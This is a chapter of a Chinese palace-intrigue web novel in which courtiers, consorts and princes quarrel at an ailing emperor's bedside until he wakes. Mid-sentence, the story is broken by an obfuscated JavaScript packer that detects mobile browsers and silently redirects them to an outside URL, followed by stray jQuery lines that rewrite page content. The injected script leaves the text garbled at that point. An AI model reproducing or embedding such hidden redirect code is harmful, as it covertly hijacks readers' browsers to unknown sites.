皇帝又昏迷的消息不胫而走,整个皇宫人心惶惶。


    卢愈匆匆忙忙赶进寝殿,外面乌言同夏储休二人仍旧一动不动,似在僵持。


    “如今父皇身体抱恙,乌大人不便叨扰吧?”夏储休率先开口。


    乌言不卑不亢,操着同以往不同的严肃口吻:“微臣受皇恩眷顾,理应在此候着。”


    圆滑的将夏储休的话又堵了回去。


    “皇后娘娘驾到!”


    “母后。”


    “皇后娘娘万安。”


    身后拖着墨色的宫装裙摆,头上挽着发髻,斜钗着一支赤金点翠凤钗,面色虽有几分疲惫,却未减半分端庄,皇后柳青烟凤眸睥睨,看着乌言。


    “乌大人怎得在此?”


    “回禀皇后娘娘,今晨微臣欲相报要事,事急从权,便在此叨扰。”乌言恭敬道,身子已是弯得不能再弯。


    “要事可说于本宫,待陛下苏醒,本宫便立即转达。”宽大袖袍的遮掩下,柳青烟的手忍不住紧抓,神色中带着几分凛栗,看着乌言。


    感受到视线,乌言并未抬头,只是一味的低着头。


    前世卫疆身死后,他浑浑噩噩,却是未忘心中仇恨,寻着军营、竟一直查到了柳如阴的身上。陈惜慈是柳如阴的人,赵冲亦是,这外界清廉本分的首辅大人,私下却是做着卖官鬻爵的勾当。


    柳如阴为他的好外孙培养势力,操弄兵权,卫家、贺家、陈家,皆成了刀下冤魂。


    可前世,他做不了任何,他无人手,无兵权,无人信。唯一能做的,便是己身杀了致使卫疆身死的凶手。


    今世,他所做铺垫已然够多,他与虎谋皮,不过是为着在这皇权漩涡中,寻一处他同卫疆的栖身之地。


    “还望皇后娘娘恕罪,此事微臣只能同陛下说。”乌言低着头,晦暗不明的神色被手臂遮掩。


    皇后听闻轻笑一声,“既如此,乌大人便在外候着罢。”


    寝殿门扉请开,丝丝缕缕的花香从门缝中飘出,柳青烟瞥见床塌上脸色苍白的夏季钟,担忧的神色溢满眼眶。


    鎏金蟠龙帐被拉至两边,枯瘦的手搭在明黄的锦被之上,随着身下人胸廓的呼吸轻微起伏,泛白的指节如脱了釉的玉,苍白的脸色竟是比头下的素枕还无色几分。


    殿内烛火被点亮了几支,才能勉强同殿内一潭死水的幽黑拉个持平。即便殿外天光已然大亮,可笼罩在殿内众人心中的黑压仍久未消散。


    卢愈在夏季钟塌前忙活的满头大汗,银针小心翼翼的刺破床上之人的皮肤。良久,卢愈拔下银针,身边药童从端着一碗汤药进了殿内。


    “本宫来吧。”


    柳青烟接过那碗黑乎乎的药汁,有如实质的苦涩甚至麻痹了柳青烟的舌根,直叫她也感同身受似,“叫外面候着的人都回罢……”


    褐色的药汁大半都从夏季钟紧叩的齿关流出,柳青烟的巾帕早已被药汁浸透。


    “是。”


    殿外,夏储休同乌言都固执的未曾离开一步,柳如烟也没什么心情再去理会。


    “太子殿下到,纯妃到!”


    苏予安牵着夏熠安的手行至寝殿前,乌言连忙行礼,“参见太子殿下,参见纯妃娘娘。”


    夏熠安连忙上前托起乌言。


    苏予安正欲往里走去,却被站在一旁的太监拦住了去路。


    齐礼太监是皇后身边的第一大太监,站在殿外本是柳青烟下令,为了避免打扰皇帝休息,任何人不得进殿探视。


    “嫔妾实是担忧陛下,还望皇后娘娘能准许嫔妾看上一眼。”


    苏予安语气轻柔,声音细糯,轻蹙的眉心使得那张五官浅淡的脸上更加忧郁,眼眶的泪欲夺出,将落未落,惹人怜爱。


    拿着眉眼高低的齐礼神色漠然,眼神甚至都未曾落在苏予安身上,看着前方,声音尖细道:“纯妃莫要为难老奴了,皇后娘娘既已下令,便是任何人都不可再进寝殿的。”


    苏予安眼角的泪终是滑落,滴溅在素色锦袍的衣袖上,晕染开来一圈渍迹,用帕子掩遮住脸,苏予安轻浅的啜泣从透过柔软的巾帕传来。


    夏熠安另一只手被苏予安拉着,此时突然挣脱出手,趁着众人来不及反应之际,飞快冲进寝殿。


    无论是殿内还是殿外,众人皆被夏熠安的举动震惊,哪怕是候在殿门外的齐礼也没反应过来,被夏熠安横冲直撞的闯进了去。


    殿内的柳青烟也未曾想到竟有人如此大胆,随着木门的一声轻响,柳青烟端着汤药的碗下一秒便因夏熠安的惊吓和冲撞撞倒,淅沥沥的药汁撒在了柳青烟的裙摆。


    而此时来到床边的夏熠安则是快速往夏季钟嘴里塞了什么,除却神色微变、本欲制止的王润,剩下众人皆未看到此举。


    “大胆!”柳青烟面色难看的快速站起,威严布满那张原本忧愁的面庞。


    柳青烟身旁的贴身姑姑从袖中拿出帕子擦试着,可药汁早已渗透,除却透过布料传来的湿润之感,若有似无的苦味混杂着衣裙上的熏香,使得柳青烟身上变得难闻起来。


    齐礼自知失职,忙不迭的小跑进殿,欲拉开铺在皇帝身上的太子殿下。


    可夏熠安不只是有意无意,灵巧的躲过,还顺势踩了齐礼一脚,疼的齐礼立马“哎呦”一声,缩回了脚。


    夏熠安的闯入倒是成了进入寝殿的契机,殿外的苏予安、夏储休连同乌言,亦都乌泱泱的涌入寝殿,原本冷冰冰的殿内瞬间变得热闹非常。


    苏予安请安后便趴在夏季钟塌前,再不压着声音啜泣起来,哭声叮当,婉转悠扬,似是一曲感人泪下的悲歌,当真让人闻者落泪。


    夏储休则是快步走到柳青烟面前,皱着眉,看见那块污渍,开口欲训斥,却被柳青烟一把拉住,眼神制止。


    乌言一边感叹纯妃不愧是靠着这一副好嗓子爬上了妃位,这音色当真是绝无仅有,又飞快站到一旁看戏,尽力让自己看起来不那么突兀,静等着皇帝苏醒。


    入宫时乌言先奔了寝殿,青松则是去了太子东宫传口信,若届时他不能成功进去,太子便是一切的转机,太子喂进皇帝嘴里的那颗药丸正是入宫前卫疆所给。


    太子年幼,无论做出什么,除却皇帝,其他人都是无权置喙的,包括皇后,这是皇帝在立下夏熠安为太子时,所传口谕,整个宫中,人人皆知。


    “夏熠安,看看你做的好事!纯妃娘娘便是这般教导太子的吗?”


    夏储休嘴巴淬了毒似的,先发制人,可他遇到的是整个宫中最是被称为柔情似水的女人。


    瞥见锦被上微微抖动的食指,苏予安泪眼婆娑的从床塌中抬首,望着夏储休,声音断断续续,已是悲伤得不可自拔:“二殿下还要在此时抓着嫔妾不放吗,这是在戳嫔妾的痛处!谁人不知浊儿年幼……生生同嫔妾分离多年,自小被养在宫外,嫔妾从未……从未教导。”


    柳青烟在听到夏储休的质问时便两眼一黑,纯妃的孩子不被养在宫内,虽是太子之名却无太子之时,不学朝政,养在南方,这是苏予安拿捏皇帝的一步棋。


    这么些年,皇帝对纯妃的愧疚更盛从前,宠爱不曾有一日消退,连如今她这个皇后,也看似有名无实罢。


    夏储休在说出口后便后悔了,被质问的不知再说什么,柳青烟按了按夏储休的手臂,开口道:“纯妃,本宫亦是做母亲的,自知你心中苦痛,是子清口不择言了。”


    夏储休见柳青烟不站在自己身边,心中气恼,憋着的这团火,便烧到了乌言身上,“乌大人此时在此是为不妥,难不成这皇家之事,乌大人也要掺和一脚吗?”


    夏储休当真不留情面,可乌言便是苦守,也是要熬到皇帝苏醒的。


    “微臣亦是关心之心切切,昨日圣上口谕,命微臣今晨前来,如今即便是被二殿下责罚,也定是要在此的。”


    乌言编了个谎,也无惧被拆穿,毕竟等皇上苏醒,面前的烂摊子数不胜数,也没工夫理会他这小小谎言了。


    夏储休接连两次吃瘪,面色铁青的明显,指节被按的咔咔作响,便是站在皇帝塌边的王润都听得清楚,心里打着颤。


    二皇子脾气最是喜怒无常,这乌大人当真是在小虎头上拔毛,在幼狮面前撩拨,王润捏着一把汗,在一旁听着热闹,眼神确是一寸未曾从床上的夏季钟身上挪开。


    “乌言,你竟敢用父皇来压本宫,好大的胆子!看来是想尝尝木板的滋味,只是不知如今你这如漏斗般的破败身子,可还有命留?”


    一个响指,殿外又进来了两位宦官,是夏储休身边的人,二人一左一右便架起乌言,往外拖去。


    “微臣所言句句属实,二殿下若在此时私动刑罚,可想过会扰了陛下清净?”


    “本宫做事,还轮不到你指手画脚。拖下去,二十大板!”


    苏予安哭声大了起来,太子殿下站在一旁不知所措,夏储休满眼喷薄着怒火,柳青烟则是看着好戏。


    整个寝殿扰攘不休,生生的把原本想着休憩片刻再睁眼的夏季钟吵了起来。


    “都闭嘴!”


    “皇上您醒了!”王润最先眼见的察觉了夏季钟眼皮的颤动,直到听见那熟悉的声音,心中一喜,跪了下来。


    原本吵嚷的寝殿被这一声怒吼按下了暂停键,在场众人齐刷刷跪下,不敢再言语一分,生怕再触怒龙威。


    这一声足足用了八成气力,吼完夏季


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517708|185108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钟只觉胸口淤堵,眼前发黑,被气的眩晕,连让人扶起他的话也说不出口了。


    王润跟了夏季钟几十年之久,最是能揣度圣意,嘴上说了句“微臣有罪”,而后便起身,从一旁的案几上倒了杯温茶,轻轻润了润皇帝的嘴唇,而后搀扶起皇帝上半身,王铨也是个有眼力见的,跪地而行,从旁抽出了软枕,垫在了皇帝上身下。


    夏季钟借着王润的手喝了一杯温茶,温热的暖流顺着喉咙流进胃里,冲散了口中原本的苦味,夏季钟才尤觉得活了过来。


    跪地之人匍匐半晌,却未有一人胆敢再开口,屏气凝神,人人自危。


    “若朕……今日不醒,你们还要在这……吵个天翻地覆才肯罢休吗!”


    伴着咳嗽,夏季钟声音断断续续,额间因着这段时日的繁杂之事而忧愁,纹路变得愈发清晰,深深浅浅的沟壑突兀的呈在那发白的脸上,王润甚至看见了皇帝不惑之年,发间的白丝。


    “父皇赎罪,不过是朝臣逾矩,儿臣本欲阻拦却不想弄巧成拙,惊扰父皇。”


    夏储休忙不迭的跳出,将罪责归拢在乌言身上,毕竟一个小小文官,未经传召入殿,便已经是大不敬了。


    夏季钟偏巧在苏予安啜泣时便已悠悠转醒,几人的交谈亦是一字不差的入耳。


    乌言仍旧是匍匐跪地,不言不语,静等着夏季钟定夺。


    再无人言语,寝殿空气逐渐凝固,静的能听见夏储休汗珠砸落在木板上的“啪嗒”声,吞咽着口水,夏储休后背冒了些汗,此时他才明白,他说错了话,寻错了时机。


    乌言自前世便明白,夏季钟最是不喜在他面前自以为是之人,除却王润,旁的人如若妄加揣测,便是灭顶之灾。


    柳青烟抿了抿唇,开口道:“皇上您总算醒了,可叫臣妾好一阵担忧。”


    后宫之主,帝王枕榻,可在皇帝面前,也不过是个可随意丢弃的,腻了恼了,只要减少侍寝或是召见的频率,后宫中凡是会看眼色的,便纷纷踩着往上爬。


    柳青烟自知爹爹这段时日风头又胜,言论似秋日的枫叶飘落,落到皇帝耳边,是以今日更加想挽回。


    一句娇嗔,若是放在往日,夏季钟自可凭着心情,可今日的头痛欲裂却是加重了对面前二人的烦躁。


    夏季钟眼神瞥过头上戴着金钗,身着一身暗红绫罗,又瞥见匍匐在脚旁身着素衣、只简单的钗着枚玉簪的苏予安,心中说不出的熨贴。


    “都起来罢。”夏季钟眼神落在苏予安身上,“纯妃今日怎么舍得来看朕了?”


    苏予安被夏季钟拉着坐在塌旁,王润便推到一旁。


    苏予安媚眼如丝,眼里的心疼却是掩盖不住,“平日自有柳姐姐贴心照料,嫔妾在一旁只有添乱的份儿,今日骤然听闻,便是连忙赶来,您可吓死嫔妾了。”


    一番话,即抬了皇后的日夜照料,又明了自己的担忧,便是乌言这见人说人话的,此时也不禁佩服纯妃。


    苏予安原是宫中宫女之一,一次宴会上被皇帝赏识宠幸,孑然一身,一步步爬到今日的地位,未靠母凭子贵,确实盛宠不衰。


    夏季钟未作皇帝之前,亦是个骁勇善战的王爷,即便已有二十余载未舞刀弄剑,手掌的厚茧也未曾褪去,摩挲着手中肤若凝脂的玉指,夏季钟心情好转。


    “你个偷懒的。”一句笑骂,周遭的空气才开始活络起来,在场之人心中皆松了一口气。


    “子浊上前来,让朕好好看看。”听着塌前苏予安的悲斥,夏季钟才想起这个一事无成的太子。


    夏熠安被叫到,才抬起头,慢悠悠的蹭过去,似是有些害怕,诺诺道:“父皇。”


    苏予安眼角又泛起泪花,巾帕透透擦拭眼泪。


    夏熠安样貌随了苏予安,带着几分江南气韵的儒雅,却并未带着腐臭的书生的呆气,双眼炯炯有神,乍看是个可塑之才。


    “功课所学如何?”夏季钟问道。


    夏熠安一板一眼道:“回禀父皇,尚可。”


    夏储休心中冷哼,刚过了牙牙学语的阶段,也教导不出个所以然。


    “谦卑不傲,今后便在东宫住下吧,莫要再回南面了。”夏季钟片语,决定了夏熠安的去留和命运。


    “是!”


    到底孩童心性,夏季钟看着太子脸上的喜悦,也被感染,面上带笑,连带着消去了几分病弱之气。


    “嫔妾谢过陛下。”苏予安亦脸上带笑。


    三人其乐融融之态却是灼了其余二人的眼,夏储休牙齿咬的紧,脸颊处因用力而变的瘦削,垂在身旁的手紧握成拳。


    阴暗的神色顺着地上的木板悄然爬上夏熠安的后颈,笑着的人却未曾觉察。